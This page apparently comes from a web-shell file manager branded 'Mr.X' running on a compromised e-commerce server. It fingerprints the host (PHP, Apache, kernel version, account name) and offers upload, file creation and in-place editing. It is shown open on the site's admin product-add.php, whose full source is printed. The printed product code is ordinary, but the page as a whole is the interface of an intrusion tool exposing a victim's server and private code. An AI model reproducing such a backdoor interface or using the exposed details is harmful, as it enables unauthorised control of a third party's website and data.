🤩 File Manager - Mr.X
PHP:
8.3.33
Server:
Apache
OS:
Linux 5.14.0-611.49.1.el9_7.x86_64
User:
websparkit
Navigate
Upload:
Upload
New File
New Folder
Editing:product-add.php
<?php $page = 'products'; $page_title = 'Add New Product'; require_once '../includes/header.php'; $categories = get_categories(); $brands = $db->query("SELECT * FROM brands WHERE status = 1")->fetchAll(); if ($_SERVER['REQUEST_METHOD'] == 'POST') { if (verify_csrf($_POST[CSRF_TOKEN_NAME] ?? '')) { $name = trim($_POST['name']); $slug = create_slug($name) . '-' . uniqid(); $category_id = intval($_POST['category_id']); $subcategory_id = !empty($_POST['subcategory_id']) ? intval($_POST['subcategory_id']) : null; $brand_id = !empty($_POST['brand_id']) ? intval($_POST['brand_id']) : null; $short_description = trim($_POST['short_description'] ?? ''); $description = trim($_POST['description'] ?? ''); $specifications = trim($_POST['specifications'] ?? ''); $regular_price = floatval($_POST['regular_price']); $sale_price = !empty($_POST['sale_price']) ? floatval($_POST['sale_price']) : null; $sku = trim($_POST['sku'] ?? ''); $sku = $sku !== '' ? $sku : null; // NULL instead of empty string to avoid UNIQUE conflicts $stock_quantity = intval($_POST['stock_quantity'] ?? 0); $stock_status = $_POST['stock_status'] ?? 'in_stock'; $tags = trim($_POST['tags'] ?? ''); $meta_title = trim($_POST['meta_title'] ?? ''); $meta_description = trim($_POST['meta_description'] ?? ''); $featured = isset($_POST['featured']) ? 1 : 0; $best_seller = isset($_POST['best_seller']) ? 1 : 0; $new_arrival = isset($_POST['new_arrival']) ? 1 : 0; $discount = 0; if ($sale_price && $regular_price > 0) { $discount = (int)round((($regular_price - $sale_price) / $regular_price) * 100); } // Handle thumbnail upload $thumbnail = ''; if (isset($_FILES['thumbnail']) && $_FILES['thumbnail']['error'] == 0) { $thumbnail = upload_image($_FILES['thumbnail'], 'products', $name); if (!$thumbnail) { $error = 'Image upload failed. Please check that the file is JPG/PNG/GIF/WebP and under 5MB, and that assets/uploads/products/ folder is writable.'; } } elseif (isset($_FILES['thumbnail']) && $_FILES['thumbnail']['error'] != 0 && $_FILES['thumbnail']['error'] != 4) { // Error 4 = no file uploaded, that's fine $error = 'Image upload error (code: ' . $_FILES['thumbnail']['error'] . '). Please try again.'; } if (!isset($error)) { try { $db->beginTransaction(); $stmt = $db->prepare("INSERT INTO products (category_id, subcategory_id, brand_id, name, slug, short_description, description, specifications, regular_price, sale_price, discount_percent, sku, stock_quantity, stock_status, featured, best_seller, new_arrival, thumbnail, tags, meta_title, meta_description) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)"); $stmt->execute([$category_id, $subcategory_id, $brand_id, $name, $slug, $short_description, $description, $specifications, $regular_price, $sale_price, $discount, $sku, $stock_quantity, $stock_status, $featured, $best_seller, $new_arrival, $thumbnail, $tags, $meta_title, $meta_description]); $product_id = $db->lastInsertId(); // Handle additional images if (isset($_FILES['images']) && !empty($_FILES['images']['name'][0])) { $count = count($_FILES['images']['name']); for ($i = 0; $i < $count; $i++) { if ($_FILES['images']['error'][$i] == 0) { $file = [ 'name' => $_FILES['images']['name'][$i], 'type' => $_FILES['images']['type'][$i], 'tmp_name' => $_FILES['images']['tmp_name'][$i], 'error' => $_FILES['images']['error'][$i], 'size' => $_FILES['images']['size'][$i] ]; $image = upload_image($file, 'products', $name . '-' . $i); if ($image) { $db->prepare("INSERT INTO product_images (product_id, image, sort_order) VALUES (?, ?, ?)") ->execute([$product_id, $image, $i]); } } } } $db->commit(); admin_set_flash('success', 'Product added successfully'); header('Location: ' . ADMIN_PATH . 'pages/products.php'); exit; } catch (Exception $e) { if ($db->inTransaction()) { $db->rollBack(); } $error = 'Failed to add product: ' . $e->getMessage(); } } } else { $error = 'Security token expired. Please refresh the page and try again.'; } } ?> <div class="admin-card"> <?php if (isset($error)): ?> <div class="alert alert-danger"><?= htmlspecialchars($error) ?></div> <?php endif; ?> <form method="POST" enctype="multipart/form-data"> <?= csrf_field() ?> <div class="row g-4"> <!-- Basic Info --> <div class="col-lg-8"> <h5 style="margin-bottom: 20px; color: var(--primary-rose-gold);">Basic Information</h5> <div class="form-group-admin"> <label class="form-label-admin">Product Name *</label> <input type="text" name="name" class="form-control-admin" required> </div> <div class="row g-3"> <div class="col-md-6"> <div class="form-group-admin"> <label class="form-label-admin">Category *</label> <select name="category_id" class="form-control-admin" required> <option value="">Select Category</option> <?php foreach ($categories as $cat): ?> <option value="<?= $cat['id'] ?>"><?= htmlspecialchars($cat['name']) ?></option> <?php endforeach; ?> </select> </div> </div> <div class="col-md-6"> <div class="form-group-admin"> <label class="form-label-admin">Brand</label> <select name="brand_id" class="form-control-admin"> <option value="">Select Brand</option> <?php foreach ($brands as $brand): ?> <option value="<?= $brand['id'] ?>"><?= htmlspecialchars($brand['name']) ?></option> <?php endforeach; ?> </select> </div> </div> </div> <div class="form-group-admin"> <label class="form-label-admin">Short Description</label> <textarea name="short_description" class="form-control-admin" rows="2"></textarea> </div> <div class="form-group-admin"> <label class="form-label-admin">Full Description</label> <textarea name="description" class="form-control-admin" rows="6"></textarea> </div> <div class="form-group-admin"> <label class="form-label-admin">Specifications (JSON format)</label> <textarea name="specifications" class="form-control-admin" rows="3" placeholder='{"Material": "Cotton", "Color": "Red", "Size": "M, L, XL"}'></textarea> </div> </div> <!-- Pricing & Inventory --> <div class="col-lg-4"> <h5 style="margin-bottom: 20px; color: var(--primary-rose-gold);">Pricing & Inventory</h5> <div class="form-group-admin"> <label class="form-label-admin">Regular Price (₹) *</label> <input type="number" name="regular_price" class="form-control-admin" step="0.01" min="0" required> </div> <div class="form-group-admin"> <label class="form-label-admin">Sale Price (₹)</label> <input type="number" name="sale_price" class="form-control-admin" step="0.01" min="0"> </div> <div class="form-group-admin"> <label class="form-label-admin">SKU</label> <input type="text" name="sku" class="form-control-admin"> </div> <div class="form-group-admin"> <label class="form-label-admin">Stock Quantity *</label> <input type="number" name="stock_quantity" class="form-control-admin" min="0" value="0" required> </div> <div class="form-group-admin"> <label class="form-label-admin">Stock Status</label> <select name="stock_status" class="form-control-admin"> <option value="in_stock">In Stock</option> <option value="out_of_stock">Out of Stock</option> <option value="pre_order">Pre-Order</option> </select> </div> <h5 style="margin: 20px 0 15px; color: var(--primary-rose-gold);">Visibility</h5> <div class="form-group-admin"> <div class="form-check"> <input class="form-check-input" type="checkbox" id="featured" name="featured"> <label class="form-check-label" for="featured">Featured Product</label> </div> <div class="form-check"> <input class="form-check-input" type="checkbox" id="best_seller" name="best_seller"> <label class="form-check-label" for="best_seller">Best Seller</label> </div> <div class="form-check"> <input class="form-check-input" type="checkbox" id="new_arrival" name="new_arrival" checked> <label class="form-check-label" for="new_arrival">New Arrival</label> </div> </div> </div> </div> <hr style="margin: 30px 0;"> <!-- Images --> <h5 style="margin-bottom: 20px; color: var(--primary-rose-gold);">Product Images</h5> <div class="row g-3"> <div class="col-md-6"> <div class="form-group-admin"> <label class="form-label-admin">Main Thumbnail</label> <input type="file" name="thumbnail" class="form-control-admin" accept="image/*" data-preview="thumb-preview" id="thumbnail-input"> </div> <img id="thumb-preview" class="image-preview image-preview-lg" style="display: none; margin-top: 10px; max-width: 200px;" onerror="this.onerror=null;this.src='<?= ASSETS_PATH ?>images/no-image.jpg';"> <div id="thumb-error" class="text-danger small" style="display: none; margin-top: 5px;"></div> </div> <div class="col-md-6"> <div class="form-group-admin"> <label class="form-label-admin">Additional Images (Multiple)</label> <input type="file" name="images[]" class="form-control-admin" accept="image/*" multiple id="images-input"> <small class="text-muted">You can select multiple images (JPG, PNG, GIF, WebP — max 5MB each)</small> </div> <div id="images-preview" class="d-flex flex-wrap gap-2 mt-2"></div> </div> </div> <hr style="margin: 30px 0;"> <!-- SEO --> <h5 style="margin-bottom: 20px; color: var(--primary-rose-gold);">SEO & Tags</h5> <div class="row g-3"> <div class="col-md-12"> <div class="form-group-admin"> <label class="form-label-admin">Tags (comma separated)</label> <input type="text" name="tags" class="form-control-admin" placeholder="luxury, premium, gift"> </div> </div> <div class="col-md-12"> <div class="form-group-admin"> <label class="form-label-admin">Meta Title</label> <input type="text" name="meta_title" class="form-control-admin"> </div> </div> <div class="col-md-12"> <div class="form-group-admin"> <label class="form-label-admin">Meta Description</label> <textarea name="meta_description" class="form-control-admin" rows="2"></textarea> </div> </div> </div> <hr style="margin: 30px 0;"> <div class="d-flex gap-2"> <button type="submit" class="btn-admin btn-primary-admin"> <i class="fas fa-save"></i> Save Product </button> <a href="<?= ADMIN_PATH ?>pages/products.php" class="btn-admin btn-secondary-admin">Cancel</a> </div> </form> </div> <?php require_once '../includes/footer.php'; ?>
Save Changes
Cancel
Create New File
Create New Folder